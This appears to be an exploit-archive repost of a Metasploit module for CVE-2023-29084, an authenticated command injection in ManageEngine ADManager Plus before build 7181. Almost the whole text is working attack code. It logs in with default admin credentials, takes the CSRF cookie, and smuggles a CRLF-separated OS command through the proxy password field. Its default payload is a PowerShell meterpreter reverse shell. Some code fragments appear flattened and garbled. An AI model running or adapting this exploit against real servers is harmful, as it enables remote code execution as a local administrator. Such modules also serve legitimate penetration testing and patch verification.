ManageEngine ADManager Plus Command Injection

Credit: Grant Willcox
Risk: Low
Local: No
Remote: Yes

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient require 'json' def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ADManager Plus ChangePasswordAction Authenticated Command Injection', 'Description' => %q{ ManageEngine ADManager Plus prior to build 7181 is vulnerable to an authenticated command injection due to insufficient validation of user input when performing the ChangePasswordAction function before passing it into a string that is later used as an OS command to execute. By making a POST request to /api/json/admin/saveServerSettings with a params POST parameter containing a JSON array object that has a USERNAME or PASSWORD element containing a carriage return and newline, followed by the command the attacker wishes to execute, an attacker can gain RCE as the user running ADManager Plus, which will typically be the local administrator. Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings, so this vulnerability does require authentication to exploit. As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads with this exploit, since these will use HTTP connections that will be affected by the change in configuration. }, 'Author' => [ 'Simon Humbert', # Disclosure of bug via ZDI 'Dinh Hoang', # Aka hnd3884. Writeup and PoC 'Grant Willcox', # Metasploit module ], 'References' => [ ['CVE', '2023-29084'], ['URL', ''], # Writeup ['URL', ''], # ZDI Advisory ['URL', ''], # Advisory ['URL', ''] # Release Notes and Reporter Acknowledgement ], 'DisclosureDate' => '2023-04-12', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => [ARCH_CMD], 'Privileged' => true, 'Payload' => { 'BadChars' => "\x22\x0A\x0D\x00[{}]:," # Avoid double quotes, aka 0x22, and some other characters that might cause issues. }, 'Targets' => [ [ 'Windows Command', { 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }, 'Payload' => { 'Compat' => { 'ConnectionType' => 'reverse bind none' } } } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8080 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] # We are changing the proxy settings for every HTTP connection on the target server. } ) ) register_options( ['USERNAME', [true, 'The user to log into ADManager Plus as', 'admin']),'PASSWORD', [true, 'The password to log in with', 'admin']),'DOMAIN', [true, 'The domain to log into', 'ADManager Plus Authentication']) ] ) end def login(username, password, domain) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'j_security_check'), 'method' => 'POST', 'vars_get' => { 'LogoutFromSSO' => 'true' }, 'vars_post' => { 'is_admp_pass_encrypted' => 'false', # Optional but better to keep it in here to match normal request. 'j_username' => username, 'j_password' => password, 'domainName' => domain, 'AUTHRULE_NAME' => 'ADAuthenticator' }, 'keep_cookies' => true ) unless res && (res.code == 302 || res.code == 303) fail_with(Failure::NoAccess, 'Could not log in successfully!') end print_good('Logged in successfully!') end def check res = send_request_cgi( 'uri' => target_uri.path, 'method' => 'GET' ) unless res && res.code == 200 && res.body return CheckCode::Unknown('Browsing to root of website returned a non-200 or empty response!') end unless res.body&.match(/\.val\('ADManager Plus Authentication'\)/) return CheckCode::Safe('Target is not running ADManager Plus!') end build_number = res.body&.match(/src=".+\.js\?v=(\d{4})"/) unless build_number return CheckCode::Unknown('Home page did not leak the build number via the ?v= parameter as expected!') end build_number = build_number[1] print_good("The target is running AdManager Plus build #{build_number}!") # Versions 7181 and later are patched, everything prior is vulnerable. target_build = if target_build >='7181') CheckCode::Safe('Target is running a patched version of AdManager Plus!') elsif target_build <'7181') CheckCode::Appears('Target appears to be running a vulnerable version of AdManager Plus!') else CheckCode::Unknown("An unknown error occurred when trying to parse the build number: #{build_number}. Please report this error!") end end def exploit res = send_request_cgi( 'uri' => target_uri.path, 'method' => 'GET', 'keep_cookies' => true ) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code!') end login(datastore['USERNAME'], datastore['PASSWORD'], datastore['DOMAIN']) # We need to do this post login otherwise we will get errors. This also ensures we get updated # cookies post login as these can sometimes change post login process. res = send_request_cgi( 'uri' => target_uri.path, 'method' => 'GET', 'keep_cookies' => true ) unless res && res.code == 200 fail_with(Failure::UnexpectedReply, 'Home page of target did not respond with the expected 200 OK code post authentication!') end # Check that we actually got our cookies updated post authentication and visiting the homepage. unless res&.get_cookies&.match(/adscsrf=.*?;.*?;.*?_zcsr_tmp=.*?;/) fail_with(Failure::UnexpectedReply, 'Target did not respond with the expected updated cookies after logging in and visiting the home page.') end @csrf_cookie = nil for cookie in @cookie_jar&.cookies if == 'adscsrf' @csrf_cookie = cookie.value break end end fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank? retrieve_original_settings begin modify_proxy(create_params_value_enable(payload.encoded)) ensure modify_proxy(create_params_value_restore) end end def retrieve_original_settings res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'getServerSettings'), 'method' => 'POST', 'vars_post' => { 'adscsrf' => @csrf_cookie }, 'keep_cookies' => true } ) unless res && res.code == 200 && res&.body&.match(/ads_admin_notifications/) fail_with(Failure::UnexpectedReply, 'Was unable to get the admin settings for restoration!') end json_body = JSON.parse(res.body) server_details = json_body['serverDetails'] unless server_details fail_with(Failure::UnexpectedReply, 'Was unable to retrieve the server settings!') end server_details.each do |elm| next unless elm['tabId'] == 'proxy' @original_port = elm['PORT'] @original_password = elm['PASSWORD'] @proxy_enabled = elm['ENABLE_PROXY'] @original_server_name = elm['SERVER_NAME'] @original_user_name = elm['USER_NAME'] break end end def modify_proxy(params) res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'), 'method' => 'POST', 'vars_post' => { 'adscsrf' => @csrf_cookie, 'params' => params }, 'keep_cookies' => true } ) if res && res.code == 200 if res.body&.match(/{"isAuthorized":false}/) fail_with(Failure::NoAccess, 'Somehow we became unauthenticated during exploitation!') elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/) print_warning("Settings successfully changed confirmation received before timeout occurred. Its possible the payload didn't execute!") elsif res.body&.match(/"status":"error"/) print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}") else fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!') end elsif res.nil? print_good('Request timed out. Its likely the payload executed successfully!') else fail_with(Failure::UnexpectedReply, "Target responded with a non-200 OK code to our saveServerSettings request! Code was #{res.code}") end end def create_params_value_enable(cmd) [ { tabId: 'proxy', ENABLE_PROXY: true, SERVER_NAME: 'localhost', # In my experience this worked most reliably. USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s, PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}", PORT: datastore['RPORT'] # In my experience, setting this to the same PORT as the web server worked reliably. } ].to_json end def create_params_value_restore [ { tabId: 'proxy', ENABLE_PROXY: @proxy_enabled, SERVER_NAME: @original_server_name, USER_NAME: @original_user_name, PASSWORD: @original_password, PORT: @original_port } ].to_json end end

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2023,


Back to Top